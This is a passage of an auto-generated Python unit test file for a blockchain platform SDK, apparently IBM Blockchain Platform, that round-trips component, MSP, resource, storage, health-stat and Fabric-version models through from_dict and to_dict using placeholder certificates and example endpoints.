generic_component_response_msp_model['ca'] = generic_component_response_msp_ca_model
generic_component_response_msp_model['tlsca'] = generic_component_response_msp_tlsca_model
generic_component_response_msp_model['component'] = generic_component_response_msp_component_model
node_ou_general_model = {} # NodeOuGeneral
node_ou_general_model['enabled'] = True
generic_resources_requests_model = {} # GenericResourcesRequests
generic_resources_requests_model['cpu'] = '100m'
generic_resources_requests_model['memory'] = '256M'
generic_resource_limits_model = {} # GenericResourceLimits
generic_resource_limits_model['cpu'] = '8000m'
generic_resource_limits_model['memory'] = '16384M'
generic_resources_model = {} # GenericResources
generic_resources_model['requests'] = generic_resources_requests_model
generic_resources_model['limits'] = generic_resource_limits_model
generic_component_response_resources_model = {} # GenericComponentResponseResources
generic_component_response_resources_model['ca'] = generic_resources_model
generic_component_response_resources_model['peer'] = generic_resources_model
generic_component_response_resources_model['orderer'] = generic_resources_model
generic_component_response_resources_model['proxy'] = generic_resources_model
generic_component_response_resources_model['statedb'] = generic_resources_model
storage_object_model = {} # StorageObject
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
generic_component_response_storage_model = {} # GenericComponentResponseStorage
generic_component_response_storage_model['ca'] = storage_object_model
generic_component_response_storage_model['peer'] = storage_object_model
generic_component_response_storage_model['orderer'] = storage_object_model
generic_component_response_storage_model['statedb'] = storage_object_model
# Construct a json representation of a GenericComponentResponse model
generic_component_response_model_json = {}
generic_component_response_model_json['id'] = 'myca-2'
generic_component_response_model_json['type'] = 'fabric-ca'
generic_component_response_model_json['display_name'] = 'Example CA'
generic_component_response_model_json['cluster_id'] = 'mzdqhdifnl'
generic_component_response_model_json['cluster_name'] = 'ordering service 1'
generic_component_response_model_json['grpcwp_url'] = 'https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084'
generic_component_response_model_json['api_url'] = 'grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051'
generic_component_response_model_json['operations_url'] = 'https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443'
generic_component_response_model_json['msp'] = generic_component_response_msp_model
generic_component_response_model_json['msp_id'] = 'Org1'
generic_component_response_model_json['location'] = 'ibmcloud'
generic_component_response_model_json['node_ou'] = node_ou_general_model
generic_component_response_model_json['resources'] = generic_component_response_resources_model
generic_component_response_model_json['scheme_version'] = 'v1'
generic_component_response_model_json['state_db'] = 'couchdb'
generic_component_response_model_json['storage'] = generic_component_response_storage_model
generic_component_response_model_json['timestamp'] = 1537262855753
generic_component_response_model_json['tags'] = ['fabric-ca']
generic_component_response_model_json['version'] = '1.4.6-1'
generic_component_response_model_json['zone'] = '-'
# Construct a model instance of GenericComponentResponse by calling from_dict on the json representation
generic_component_response_model = GenericComponentResponse.from_dict(generic_component_response_model_json)
assert generic_component_response_model != False
# Construct a model instance of GenericComponentResponse by calling from_dict on the json representation
generic_component_response_model_dict = GenericComponentResponse.from_dict(generic_component_response_model_json).__dict__
generic_component_response_model2 = GenericComponentResponse(**generic_component_response_model_dict)
# Verify the model instances are equivalent
assert generic_component_response_model == generic_component_response_model2
# Convert model instance back to dict and verify no loss of data
generic_component_response_model_json2 = generic_component_response_model.to_dict()
assert generic_component_response_model_json2 == generic_component_response_model_json
class TestGenericComponentResponseMsp():
"""
Test Class for GenericComponentResponseMsp
"""
def test_generic_component_response_msp_serialization(self):
"""
Test serialization/deserialization for GenericComponentResponseMsp
"""
# Construct dict forms of any model objects needed in order to build this model.
generic_component_response_msp_ca_model = {} # GenericComponentResponseMspCa
generic_component_response_msp_ca_model['name'] = 'org1CA'
generic_component_response_msp_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
generic_component_response_msp_tlsca_model = {} # GenericComponentResponseMspTlsca
generic_component_response_msp_tlsca_model['name'] = 'org1tlsCA'
generic_component_response_msp_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
generic_component_response_msp_component_model = {} # GenericComponentResponseMspComponent
generic_component_response_msp_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
generic_component_response_msp_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
generic_component_response_msp_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a json representation of a GenericComponentResponseMsp model
generic_component_response_msp_model_json = {}
generic_component_response_msp_model_json['ca'] = generic_component_response_msp_ca_model
generic_component_response_msp_model_json['tlsca'] = generic_component_response_msp_tlsca_model
generic_component_response_msp_model_json['component'] = generic_component_response_msp_component_model
# Construct a model instance of GenericComponentResponseMsp by calling from_dict on the json representation
generic_component_response_msp_model = GenericComponentResponseMsp.from_dict(generic_component_response_msp_model_json)
assert generic_component_response_msp_model != False
# Construct a model instance of GenericComponentResponseMsp by calling from_dict on the json representation
generic_component_response_msp_model_dict = GenericComponentResponseMsp.from_dict(generic_component_response_msp_model_json).__dict__
generic_component_response_msp_model2 = GenericComponentResponseMsp(**generic_component_response_msp_model_dict)
# Verify the model instances are equivalent
assert generic_component_response_msp_model == generic_component_response_msp_model2
# Convert model instance back to dict and verify no loss of data
generic_component_response_msp_model_json2 = generic_component_response_msp_model.to_dict()
assert generic_component_response_msp_model_json2 == generic_component_response_msp_model_json
class TestGenericComponentResponseMspCa():
"""
Test Class for GenericComponentResponseMspCa
"""
def test_generic_component_response_msp_ca_serialization(self):
"""
Test serialization/deserialization for GenericComponentResponseMspCa
"""
# Construct a json representation of a GenericComponentResponseMspCa model
generic_component_response_msp_ca_model_json = {}
generic_component_response_msp_ca_model_json['name'] = 'org1CA'
generic_component_response_msp_ca_model_json['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a model instance of GenericComponentResponseMspCa by calling from_dict on the json representation
generic_component_response_msp_ca_model = GenericComponentResponseMspCa.from_dict(generic_component_response_msp_ca_model_json)
assert generic_component_response_msp_ca_model != False
# Construct a model instance of GenericComponentResponseMspCa by calling from_dict on the json representation
generic_component_response_msp_ca_model_dict = GenericComponentResponseMspCa.from_dict(generic_component_response_msp_ca_model_json).__dict__
generic_component_response_msp_ca_model2 = GenericComponentResponseMspCa(**generic_component_response_msp_ca_model_dict)
# Verify the model instances are equivalent
assert generic_component_response_msp_ca_model == generic_component_response_msp_ca_model2
# Convert model instance back to dict and verify no loss of data
generic_component_response_msp_ca_model_json2 = generic_component_response_msp_ca_model.to_dict()
assert generic_component_response_msp_ca_model_json2 == generic_component_response_msp_ca_model_json
class TestGenericComponentResponseMspComponent():
"""
Test Class for GenericComponentResponseMspComponent
"""
def test_generic_component_response_msp_component_serialization(self):
"""
Test serialization/deserialization for GenericComponentResponseMspComponent
"""
# Construct a json representation of a GenericComponentResponseMspComponent model
generic_component_response_msp_component_model_json = {}
generic_component_response_msp_component_model_json['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
generic_component_response_msp_component_model_json['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
generic_component_response_msp_component_model_json['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a model instance of GenericComponentResponseMspComponent by calling from_dict on the json representation
generic_component_response_msp_component_model = GenericComponentResponseMspComponent.from_dict(generic_component_response_msp_component_model_json)
assert generic_component_response_msp_component_model != False
# Construct a model instance of GenericComponentResponseMspComponent by calling from_dict on the json representation
generic_component_response_msp_component_model_dict = GenericComponentResponseMspComponent.from_dict(generic_component_response_msp_component_model_json).__dict__
generic_component_response_msp_component_model2 = GenericComponentResponseMspComponent(**generic_component_response_msp_component_model_dict)
# Verify the model instances are equivalent
assert generic_component_response_msp_component_model == generic_component_response_msp_component_model2
# Convert model instance back to dict and verify no loss of data
generic_component_response_msp_component_model_json2 = generic_component_response_msp_component_model.to_dict()
assert generic_component_response_msp_component_model_json2 == generic_component_response_msp_component_model_json
class TestGenericComponentResponseMspTlsca():
"""
Test Class for GenericComponentResponseMspTlsca
"""
def test_generic_component_response_msp_tlsca_serialization(self):
"""
Test serialization/deserialization for GenericComponentResponseMspTlsca
"""
# Construct a json representation of a GenericComponentResponseMspTlsca model
generic_component_response_msp_tlsca_model_json = {}
generic_component_response_msp_tlsca_model_json['name'] = 'org1tlsCA'
generic_component_response_msp_tlsca_model_json['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a model instance of GenericComponentResponseMspTlsca by calling from_dict on the json representation
generic_component_response_msp_tlsca_model = GenericComponentResponseMspTlsca.from_dict(generic_component_response_msp_tlsca_model_json)
assert generic_component_response_msp_tlsca_model != False
# Construct a model instance of GenericComponentResponseMspTlsca by calling from_dict on the json representation
generic_component_response_msp_tlsca_model_dict = GenericComponentResponseMspTlsca.from_dict(generic_component_response_msp_tlsca_model_json).__dict__
generic_component_response_msp_tlsca_model2 = GenericComponentResponseMspTlsca(**generic_component_response_msp_tlsca_model_dict)
# Verify the model instances are equivalent
assert generic_component_response_msp_tlsca_model == generic_component_response_msp_tlsca_model2
# Convert model instance back to dict and verify no loss of data
generic_component_response_msp_tlsca_model_json2 = generic_component_response_msp_tlsca_model.to_dict()
assert generic_component_response_msp_tlsca_model_json2 == generic_component_response_msp_tlsca_model_json
class TestGenericComponentResponseResources():
"""
Test Class for GenericComponentResponseResources
"""
def test_generic_component_response_resources_serialization(self):
"""
Test serialization/deserialization for GenericComponentResponseResources
"""
# Construct dict forms of any model objects needed in order to build this model.
generic_resources_requests_model = {} # GenericResourcesRequests
generic_resources_requests_model['cpu'] = '100m'
generic_resources_requests_model['memory'] = '256M'
generic_resource_limits_model = {} # GenericResourceLimits
generic_resource_limits_model['cpu'] = '8000m'
generic_resource_limits_model['memory'] = '16384M'
generic_resources_model = {} # GenericResources
generic_resources_model['requests'] = generic_resources_requests_model
generic_resources_model['limits'] = generic_resource_limits_model
# Construct a json representation of a GenericComponentResponseResources model
generic_component_response_resources_model_json = {}
generic_component_response_resources_model_json['ca'] = generic_resources_model
generic_component_response_resources_model_json['peer'] = generic_resources_model
generic_component_response_resources_model_json['orderer'] = generic_resources_model
generic_component_response_resources_model_json['proxy'] = generic_resources_model
generic_component_response_resources_model_json['statedb'] = generic_resources_model
# Construct a model instance of GenericComponentResponseResources by calling from_dict on the json representation
generic_component_response_resources_model = GenericComponentResponseResources.from_dict(generic_component_response_resources_model_json)
assert generic_component_response_resources_model != False
# Construct a model instance of GenericComponentResponseResources by calling from_dict on the json representation
generic_component_response_resources_model_dict = GenericComponentResponseResources.from_dict(generic_component_response_resources_model_json).__dict__
generic_component_response_resources_model2 = GenericComponentResponseResources(**generic_component_response_resources_model_dict)
# Verify the model instances are equivalent
assert generic_component_response_resources_model == generic_component_response_resources_model2
# Convert model instance back to dict and verify no loss of data
generic_component_response_resources_model_json2 = generic_component_response_resources_model.to_dict()
assert generic_component_response_resources_model_json2 == generic_component_response_resources_model_json
class TestGenericComponentResponseStorage():
"""
Test Class for GenericComponentResponseStorage
"""
def test_generic_component_response_storage_serialization(self):
"""
Test serialization/deserialization for GenericComponentResponseStorage
"""
# Construct dict forms of any model objects needed in order to build this model.
storage_object_model = {} # StorageObject
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
# Construct a json representation of a GenericComponentResponseStorage model
generic_component_response_storage_model_json = {}
generic_component_response_storage_model_json['ca'] = storage_object_model
generic_component_response_storage_model_json['peer'] = storage_object_model
generic_component_response_storage_model_json['orderer'] = storage_object_model
generic_component_response_storage_model_json['statedb'] = storage_object_model
# Construct a model instance of GenericComponentResponseStorage by calling from_dict on the json representation
generic_component_response_storage_model = GenericComponentResponseStorage.from_dict(generic_component_response_storage_model_json)
assert generic_component_response_storage_model != False
# Construct a model instance of GenericComponentResponseStorage by calling from_dict on the json representation
generic_component_response_storage_model_dict = GenericComponentResponseStorage.from_dict(generic_component_response_storage_model_json).__dict__
generic_component_response_storage_model2 = GenericComponentResponseStorage(**generic_component_response_storage_model_dict)
# Verify the model instances are equivalent
assert generic_component_response_storage_model == generic_component_response_storage_model2
# Convert model instance back to dict and verify no loss of data
generic_component_response_storage_model_json2 = generic_component_response_storage_model.to_dict()
assert generic_component_response_storage_model_json2 == generic_component_response_storage_model_json
class TestGenericResourceLimits():
"""
Test Class for GenericResourceLimits
"""
def test_generic_resource_limits_serialization(self):
"""
Test serialization/deserialization for GenericResourceLimits
"""
# Construct a json representation of a GenericResourceLimits model
generic_resource_limits_model_json = {}
generic_resource_limits_model_json['cpu'] = '8000m'
generic_resource_limits_model_json['memory'] = '16384M'
# Construct a model instance of GenericResourceLimits by calling from_dict on the json representation
generic_resource_limits_model = GenericResourceLimits.from_dict(generic_resource_limits_model_json)
assert generic_resource_limits_model != False
# Construct a model instance of GenericResourceLimits by calling from_dict on the json representation
generic_resource_limits_model_dict = GenericResourceLimits.from_dict(generic_resource_limits_model_json).__dict__
generic_resource_limits_model2 = GenericResourceLimits(**generic_resource_limits_model_dict)
# Verify the model instances are equivalent
assert generic_resource_limits_model == generic_resource_limits_model2
# Convert model instance back to dict and verify no loss of data
generic_resource_limits_model_json2 = generic_resource_limits_model.to_dict()
assert generic_resource_limits_model_json2 == generic_resource_limits_model_json
class TestGenericResources():
"""
Test Class for GenericResources
"""
def test_generic_resources_serialization(self):
"""
Test serialization/deserialization for GenericResources
"""
# Construct dict forms of any model objects needed in order to build this model.
generic_resources_requests_model = {} # GenericResourcesRequests
generic_resources_requests_model['cpu'] = '100m'
generic_resources_requests_model['memory'] = '256M'
generic_resource_limits_model = {} # GenericResourceLimits
generic_resource_limits_model['cpu'] = '8000m'
generic_resource_limits_model['memory'] = '16384M'
# Construct a json representation of a GenericResources model
generic_resources_model_json = {}
generic_resources_model_json['requests'] = generic_resources_requests_model
generic_resources_model_json['limits'] = generic_resource_limits_model
# Construct a model instance of GenericResources by calling from_dict on the json representation
generic_resources_model = GenericResources.from_dict(generic_resources_model_json)
assert generic_resources_model != False
# Construct a model instance of GenericResources by calling from_dict on the json representation
generic_resources_model_dict = GenericResources.from_dict(generic_resources_model_json).__dict__
generic_resources_model2 = GenericResources(**generic_resources_model_dict)
# Verify the model instances are equivalent
assert generic_resources_model == generic_resources_model2
# Convert model instance back to dict and verify no loss of data
generic_resources_model_json2 = generic_resources_model.to_dict()
assert generic_resources_model_json2 == generic_resources_model_json
class TestGenericResourcesRequests():
"""
Test Class for GenericResourcesRequests
"""
def test_generic_resources_requests_serialization(self):
"""
Test serialization/deserialization for GenericResourcesRequests
"""
# Construct a json representation of a GenericResourcesRequests model
generic_resources_requests_model_json = {}
generic_resources_requests_model_json['cpu'] = '100m'
generic_resources_requests_model_json['memory'] = '256M'
# Construct a model instance of GenericResourcesRequests by calling from_dict on the json representation
generic_resources_requests_model = GenericResourcesRequests.from_dict(generic_resources_requests_model_json)
assert generic_resources_requests_model != False
# Construct a model instance of GenericResourcesRequests by calling from_dict on the json representation
generic_resources_requests_model_dict = GenericResourcesRequests.from_dict(generic_resources_requests_model_json).__dict__
generic_resources_requests_model2 = GenericResourcesRequests(**generic_resources_requests_model_dict)
# Verify the model instances are equivalent
assert generic_resources_requests_model == generic_resources_requests_model2
# Convert model instance back to dict and verify no loss of data
generic_resources_requests_model_json2 = generic_resources_requests_model.to_dict()
assert generic_resources_requests_model_json2 == generic_resources_requests_model_json
class TestGetAthenaHealthStatsResponse():
"""
Test Class for GetAthenaHealthStatsResponse
"""
def test_get_athena_health_stats_response_serialization(self):
"""
Test serialization/deserialization for GetAthenaHealthStatsResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
get_athena_health_stats_response_optools_memory_usage_model = {} # GetAthenaHealthStatsResponseOPTOOLSMemoryUsage
get_athena_health_stats_response_optools_memory_usage_model['rss'] = '56.1 MB'
get_athena_health_stats_response_optools_memory_usage_model['heapTotal'] = '34.4 MB'
get_athena_health_stats_response_optools_memory_usage_model['heapUsed'] = '28.4 MB'
get_athena_health_stats_response_optools_memory_usage_model['external'] = '369.3 KB'
cache_data_model = {} # CacheData
cache_data_model['hits'] = 42
cache_data_model['misses'] = 11
cache_data_model['keys'] = 100
cache_data_model['cache_size'] = '4.19 KiB'
get_athena_health_stats_response_optools_model = {} # GetAthenaHealthStatsResponseOPTOOLS
get_athena_health_stats_response_optools_model['instance_id'] = 'p59ta'
get_athena_health_stats_response_optools_model['now'] = 1542746836056
get_athena_health_stats_response_optools_model['born'] = 1542746836056
get_athena_health_stats_response_optools_model['up_time'] = '30 days'
get_athena_health_stats_response_optools_model['memory_usage'] = get_athena_health_stats_response_optools_memory_usage_model
get_athena_health_stats_response_optools_model['session_cache_stats'] = cache_data_model
get_athena_health_stats_response_optools_model['couch_cache_stats'] = cache_data_model
get_athena_health_stats_response_optools_model['iam_cache_stats'] = cache_data_model
get_athena_health_stats_response_optools_model['proxy_cache'] = cache_data_model
cpu_health_stats_times_model = {} # CpuHealthStatsTimes
cpu_health_stats_times_model['idle'] = 131397203
cpu_health_stats_times_model['irq'] = 6068640
cpu_health_stats_times_model['nice'] = 0
cpu_health_stats_times_model['sys'] = 9652328
cpu_health_stats_times_model['user'] = 4152187
cpu_health_stats_model = {} # CpuHealthStats
cpu_health_stats_model['model'] = 'Intel(R) Core(TM) i7-8850H CPU @ 2.60GHz'
cpu_health_stats_model['speed'] = 2592
cpu_health_stats_model['times'] = cpu_health_stats_times_model
get_athena_health_stats_response_os_model = {} # GetAthenaHealthStatsResponseOS
get_athena_health_stats_response_os_model['arch'] = 'x64'
get_athena_health_stats_response_os_model['type'] = 'Windows_NT'
get_athena_health_stats_response_os_model['endian'] = 'LE'
get_athena_health_stats_response_os_model['loadavg'] = [0]
get_athena_health_stats_response_os_model['cpus'] = [cpu_health_stats_model]
get_athena_health_stats_response_os_model['total_memory'] = '31.7 GB'
get_athena_health_stats_response_os_model['free_memory'] = '21.9 GB'
get_athena_health_stats_response_os_model['up_time'] = '4.9 days'
# Construct a json representation of a GetAthenaHealthStatsResponse model
get_athena_health_stats_response_model_json = {}
get_athena_health_stats_response_model_json['OPTOOLS'] = get_athena_health_stats_response_optools_model
get_athena_health_stats_response_model_json['OS'] = get_athena_health_stats_response_os_model
# Construct a model instance of GetAthenaHealthStatsResponse by calling from_dict on the json representation
get_athena_health_stats_response_model = GetAthenaHealthStatsResponse.from_dict(get_athena_health_stats_response_model_json)
assert get_athena_health_stats_response_model != False
# Construct a model instance of GetAthenaHealthStatsResponse by calling from_dict on the json representation
get_athena_health_stats_response_model_dict = GetAthenaHealthStatsResponse.from_dict(get_athena_health_stats_response_model_json).__dict__
get_athena_health_stats_response_model2 = GetAthenaHealthStatsResponse(**get_athena_health_stats_response_model_dict)
# Verify the model instances are equivalent
assert get_athena_health_stats_response_model == get_athena_health_stats_response_model2
# Convert model instance back to dict and verify no loss of data
get_athena_health_stats_response_model_json2 = get_athena_health_stats_response_model.to_dict()
assert get_athena_health_stats_response_model_json2 == get_athena_health_stats_response_model_json
class TestGetAthenaHealthStatsResponseOPTOOLS():
"""
Test Class for GetAthenaHealthStatsResponseOPTOOLS
"""
def test_get_athena_health_stats_response_optools_serialization(self):
"""
Test serialization/deserialization for GetAthenaHealthStatsResponseOPTOOLS
"""
# Construct dict forms of any model objects needed in order to build this model.
get_athena_health_stats_response_optools_memory_usage_model = {} # GetAthenaHealthStatsResponseOPTOOLSMemoryUsage
get_athena_health_stats_response_optools_memory_usage_model['rss'] = '56.1 MB'
get_athena_health_stats_response_optools_memory_usage_model['heapTotal'] = '34.4 MB'
get_athena_health_stats_response_optools_memory_usage_model['heapUsed'] = '28.4 MB'
get_athena_health_stats_response_optools_memory_usage_model['external'] = '369.3 KB'
cache_data_model = {} # CacheData
cache_data_model['hits'] = 42
cache_data_model['misses'] = 11
cache_data_model['keys'] = 100
cache_data_model['cache_size'] = '4.19 KiB'
# Construct a json representation of a GetAthenaHealthStatsResponseOPTOOLS model
get_athena_health_stats_response_optools_model_json = {}
get_athena_health_stats_response_optools_model_json['instance_id'] = 'p59ta'
get_athena_health_stats_response_optools_model_json['now'] = 1542746836056
get_athena_health_stats_response_optools_model_json['born'] = 1542746836056
get_athena_health_stats_response_optools_model_json['up_time'] = '30 days'
get_athena_health_stats_response_optools_model_json['memory_usage'] = get_athena_health_stats_response_optools_memory_usage_model
get_athena_health_stats_response_optools_model_json['session_cache_stats'] = cache_data_model
get_athena_health_stats_response_optools_model_json['couch_cache_stats'] = cache_data_model
get_athena_health_stats_response_optools_model_json['iam_cache_stats'] = cache_data_model
get_athena_health_stats_response_optools_model_json['proxy_cache'] = cache_data_model
# Construct a model instance of GetAthenaHealthStatsResponseOPTOOLS by calling from_dict on the json representation
get_athena_health_stats_response_optools_model = GetAthenaHealthStatsResponseOPTOOLS.from_dict(get_athena_health_stats_response_optools_model_json)
assert get_athena_health_stats_response_optools_model != False
# Construct a model instance of GetAthenaHealthStatsResponseOPTOOLS by calling from_dict on the json representation
get_athena_health_stats_response_optools_model_dict = GetAthenaHealthStatsResponseOPTOOLS.from_dict(get_athena_health_stats_response_optools_model_json).__dict__
get_athena_health_stats_response_optools_model2 = GetAthenaHealthStatsResponseOPTOOLS(**get_athena_health_stats_response_optools_model_dict)
# Verify the model instances are equivalent
assert get_athena_health_stats_response_optools_model == get_athena_health_stats_response_optools_model2
# Convert model instance back to dict and verify no loss of data
get_athena_health_stats_response_optools_model_json2 = get_athena_health_stats_response_optools_model.to_dict()
assert get_athena_health_stats_response_optools_model_json2 == get_athena_health_stats_response_optools_model_json
class TestGetAthenaHealthStatsResponseOPTOOLSMemoryUsage():
"""
Test Class for GetAthenaHealthStatsResponseOPTOOLSMemoryUsage
"""
def test_get_athena_health_stats_response_optools_memory_usage_serialization(self):
"""
Test serialization/deserialization for GetAthenaHealthStatsResponseOPTOOLSMemoryUsage
"""
# Construct a json representation of a GetAthenaHealthStatsResponseOPTOOLSMemoryUsage model
get_athena_health_stats_response_optools_memory_usage_model_json = {}
get_athena_health_stats_response_optools_memory_usage_model_json['rss'] = '56.1 MB'
get_athena_health_stats_response_optools_memory_usage_model_json['heapTotal'] = '34.4 MB'
get_athena_health_stats_response_optools_memory_usage_model_json['heapUsed'] = '28.4 MB'
get_athena_health_stats_response_optools_memory_usage_model_json['external'] = '369.3 KB'
# Construct a model instance of GetAthenaHealthStatsResponseOPTOOLSMemoryUsage by calling from_dict on the json representation
get_athena_health_stats_response_optools_memory_usage_model = GetAthenaHealthStatsResponseOPTOOLSMemoryUsage.from_dict(get_athena_health_stats_response_optools_memory_usage_model_json)
assert get_athena_health_stats_response_optools_memory_usage_model != False
# Construct a model instance of GetAthenaHealthStatsResponseOPTOOLSMemoryUsage by calling from_dict on the json representation
get_athena_health_stats_response_optools_memory_usage_model_dict = GetAthenaHealthStatsResponseOPTOOLSMemoryUsage.from_dict(get_athena_health_stats_response_optools_memory_usage_model_json).__dict__
get_athena_health_stats_response_optools_memory_usage_model2 = GetAthenaHealthStatsResponseOPTOOLSMemoryUsage(**get_athena_health_stats_response_optools_memory_usage_model_dict)
# Verify the model instances are equivalent
assert get_athena_health_stats_response_optools_memory_usage_model == get_athena_health_stats_response_optools_memory_usage_model2
# Convert model instance back to dict and verify no loss of data
get_athena_health_stats_response_optools_memory_usage_model_json2 = get_athena_health_stats_response_optools_memory_usage_model.to_dict()
assert get_athena_health_stats_response_optools_memory_usage_model_json2 == get_athena_health_stats_response_optools_memory_usage_model_json
class TestGetAthenaHealthStatsResponseOS():
"""
Test Class for GetAthenaHealthStatsResponseOS
"""
def test_get_athena_health_stats_response_os_serialization(self):
"""
Test serialization/deserialization for GetAthenaHealthStatsResponseOS
"""
# Construct dict forms of any model objects needed in order to build this model.
cpu_health_stats_times_model = {} # CpuHealthStatsTimes
cpu_health_stats_times_model['idle'] = 131397203
cpu_health_stats_times_model['irq'] = 6068640
cpu_health_stats_times_model['nice'] = 0
cpu_health_stats_times_model['sys'] = 9652328
cpu_health_stats_times_model['user'] = 4152187
cpu_health_stats_model = {} # CpuHealthStats
cpu_health_stats_model['model'] = 'Intel(R) Core(TM) i7-8850H CPU @ 2.60GHz'
cpu_health_stats_model['speed'] = 2592
cpu_health_stats_model['times'] = cpu_health_stats_times_model
# Construct a json representation of a GetAthenaHealthStatsResponseOS model
get_athena_health_stats_response_os_model_json = {}
get_athena_health_stats_response_os_model_json['arch'] = 'x64'
get_athena_health_stats_response_os_model_json['type'] = 'Windows_NT'
get_athena_health_stats_response_os_model_json['endian'] = 'LE'
get_athena_health_stats_response_os_model_json['loadavg'] = [0]
get_athena_health_stats_response_os_model_json['cpus'] = [cpu_health_stats_model]
get_athena_health_stats_response_os_model_json['total_memory'] = '31.7 GB'
get_athena_health_stats_response_os_model_json['free_memory'] = '21.9 GB'
get_athena_health_stats_response_os_model_json['up_time'] = '4.9 days'
# Construct a model instance of GetAthenaHealthStatsResponseOS by calling from_dict on the json representation
get_athena_health_stats_response_os_model = GetAthenaHealthStatsResponseOS.from_dict(get_athena_health_stats_response_os_model_json)
assert get_athena_health_stats_response_os_model != False
# Construct a model instance of GetAthenaHealthStatsResponseOS by calling from_dict on the json representation
get_athena_health_stats_response_os_model_dict = GetAthenaHealthStatsResponseOS.from_dict(get_athena_health_stats_response_os_model_json).__dict__
get_athena_health_stats_response_os_model2 = GetAthenaHealthStatsResponseOS(**get_athena_health_stats_response_os_model_dict)
# Verify the model instances are equivalent
assert get_athena_health_stats_response_os_model == get_athena_health_stats_response_os_model2
# Convert model instance back to dict and verify no loss of data
get_athena_health_stats_response_os_model_json2 = get_athena_health_stats_response_os_model.to_dict()
assert get_athena_health_stats_response_os_model_json2 == get_athena_health_stats_response_os_model_json
class TestGetFabricVersionsResponse():
"""
Test Class for GetFabricVersionsResponse
"""
def test_get_fabric_versions_response_serialization(self):
"""
Test serialization/deserialization for GetFabricVersionsResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
fab_version_object_model = {} # FabVersionObject
fab_version_object_model['default'] = True
fab_version_object_model['version'] = '1.4.6-2'
fab_version_object_model['image'] = { 'foo': 'bar' }
fabric_version_dictionary_model = {} # FabricVersionDictionary
fabric_version_dictionary_model['1.4.6-2'] = fab_version_object_model
fabric_version_dictionary_model['2.1.0-0'] = fab_version_object_model
fabric_version_dictionary_model['foo'] = { 'foo': 'bar' }
get_fabric_versions_response_versions_model = {} # GetFabricVersionsResponseVersions
get_fabric_versions_response_versions_model['ca'] = fabric_version_dictionary_model
get_fabric_versions_response_versions_model['peer'] = fabric_version_dictionary_model
get_fabric_versions_response_versions_model['orderer'] = fabric_version_dictionary_model
# Construct a json representation of a GetFabricVersionsResponse model
get_fabric_versions_response_model_json = {}
get_fabric_versions_response_model_json['versions'] = get_fabric_versions_response_versions_model
# Construct a model instance of GetFabricVersionsResponse by calling from_dict on the json representation
get_fabric_versions_response_model = GetFabricVersionsResponse.from_dict(get_fabric_versions_response_model_json)
assert get_fabric_versions_response_model != False
# Construct a model instance of GetFabricVersionsResponse by calling from_dict on the json representation
get_fabric_versions_response_model_dict = GetFabricVersionsResponse.from_dict(get_fabric_versions_response_model_json).__dict__
get_fabric_versions_response_model2 = GetFabricVersionsResponse(**get_fabric_versions_response_model_dict)
# Verify the model instances are equivalent
assert get_fabric_versions_response_model == get_fabric_versions_response_model2
# Convert model instance back to dict and verify no loss of data
get_fabric_versions_response_model_json2 = get_fabric_versions_response_model.to_dict()
assert get_fabric_versions_response_model_json2 == get_fabric_versions_response_model_json
class TestGetFabricVersionsResponseVersions():
"""
Test Class for GetFabricVersionsResponseVersions
"""
def test_get_fabric_versions_response_versions_serialization(self):
"""
Test serialization/deserialization for GetFabricVersionsResponseVersions
"""
# Construct dict forms of any model objects needed in order to build this model.
fab_version_object_model = {} # FabVersionObject
fab_version_object_model['default'] = True
